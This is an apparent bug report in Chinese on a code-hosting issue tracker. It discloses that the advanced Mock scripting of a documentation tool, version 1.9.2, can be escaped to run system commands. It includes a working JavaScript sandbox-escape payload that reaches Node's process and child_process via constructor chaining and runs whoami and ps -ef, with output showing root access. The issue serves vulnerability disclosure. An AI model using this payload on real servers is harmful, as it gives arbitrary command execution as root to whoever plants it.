Skip to content

高级Mock可以获取到系统操作权限 #2099

@Loushangkeji

Description

@Loushangkeji

版本号

~
1.9.2

什么问题

~
高级Mock可以获取到系统操作权限

如何复现此问题

~
在接口中文档中 添入如下 mock 脚本

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

保存后,直接请求 对应的 Mock 地址
Mock地址:http://xxxx/mock/77/xxxxx
可以看到如下信息

root
root      2525     1  0 Jan26 ?        00:02:23 xxxxx
root      3694     1  0 Jan06 ?        00:10:59 aaaaaa
root      7046     1  0  2020 ?        06:46:50 bbbbbb
root      8073     1  0  2020 ?        01:21:46 cccccc

什么浏览器

~
chrome

什么系统(Linux, Windows, macOS)

centOS 7

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions